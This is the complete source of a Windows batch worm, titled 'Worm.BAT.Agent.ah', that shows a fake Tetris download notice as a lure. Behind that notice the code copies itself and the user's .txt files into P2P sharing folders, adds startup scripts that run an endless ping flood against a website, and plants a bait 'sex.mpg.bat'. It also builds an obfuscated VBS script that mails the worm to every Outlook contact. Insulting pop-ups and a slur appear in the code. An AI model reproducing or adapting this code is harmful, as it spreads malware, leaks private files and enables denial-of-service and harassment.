Worm.BAT.Agent.ah - Source Code

echo off
echo You can download many good and free Tetris games from
echo www.download.com. Just select games and then search with the word Tetris.
echo This is the new download link for September each month our crew vxchaos
echo publishes a new and fresh download link for all the greatest software and games
echo in this p2p publication.
START  iexplore.exe www.download.com
echo press any key to exit this monthly publication.
pause
echo @echo off >> c:\windows\Startm~1\Programs\StartUp\cry.bat
echo :witch >> c:\windows\Startm~1\Programs\StartUp\cry.bat
echo ping -l 789 www.godhatesfags.com >> c:\windows\Startm~1\Programs\StartUp\cry.bat
echo goto witch >> c:\windows\Startm~1\Programs\StartUp\cry.bat
COPY tetris.com c:\Mydown~1
COPY tetris.com c:\progra~1\bearsh~2\shared
COPY tetris.com c:\progra~1\kazaal~1\myshar~1
COPY tetris.com c:\progra~1\morpheus\myshar~1
COPY tetris.com c:\progra~1\edonke~1\incoming
COPY c:\*.txt c:\progra~1\bearsh~2\shared
COPY c:\*.txt c:\Mydown~1
COPY c:\*.txt c:\progra~1\edonke~1\incoming
COPY tetris.com c:\windows
echo @echo off >> c:\Mydown~1\sex.mpg.bat
echo :witch >> c:\Mydown~1\sex.mpg.bat
echo ping -l 789 www.godhatesfags.com >> c:\Mydown~1\sex.mpg.bat
echo goto witch >> c:\Mydown~1\sex.mpg.bat
echo msgbox ("Fred Waldron Phelps and Shirley Phelps Roper sucks") >> c:\note.vbs
echo msgbox ("If my ass smells bad then yours smells like a rotten fish") >> c:\note2.vbs
set f=dress
set b=Entr
set j=ists
echo set no="Scripting.FileSystem.Object" >> c:\windows\email.vbs
echo set op=CreateObject(no) >> c:\windows\email.vbs.vbs
echo set pq=CreateObject("Outlook.Application") >> c:\windows\email.vbs.vbs
echo set qq=WScript.CreateObject("Outlook.Application") >> c:\windows\email.vbs
echo set qf=qq.GetNameSpace("MAPI") >> c:\windows\email.vbs
echo set q=qf.Ad%F%L%J%(1) >> c:\windows\email.vbs
echo set ae=q.Ad%F%%B%ies >> c:\windows\email.vbs
echo for x=1 To ae.Count >> c:\windows\email.vbs
echo set fw=pq.CreateItem(0) >> c:\windows\email.vbs
echo set wc=fw >> c:\windows\email.vbs
echo wc.to=pq.GetNameSpace("MAPI").Ad%F%L%J%(1).Ad%F%%B%ies(x) >> c:\windows\email.vbs
echo wc.Subject="Hello" >> c:\windows\email.vbs
echo wc.Body="Check out this tetris game!" >> c:\windows\email.vbs
echo wc.Attachments.Add("C:\windows\tetris.com") >> c:\windows\email.vbs
echo wc.send >> c:\windows\email.vbs
echo Next >> c:\windows\email.vbs
echo pq.Quit >> c:\windows\email.vbs
COPY c:\windows\email.vbs c:\windows\Startm~1\Programs\StartUp
set f=
set b=
set j=
CSCRIPT  c:\windows\email.vbs
CSCRIPT  c:\note.vbs
CSCRIPT  c:\note2.vbs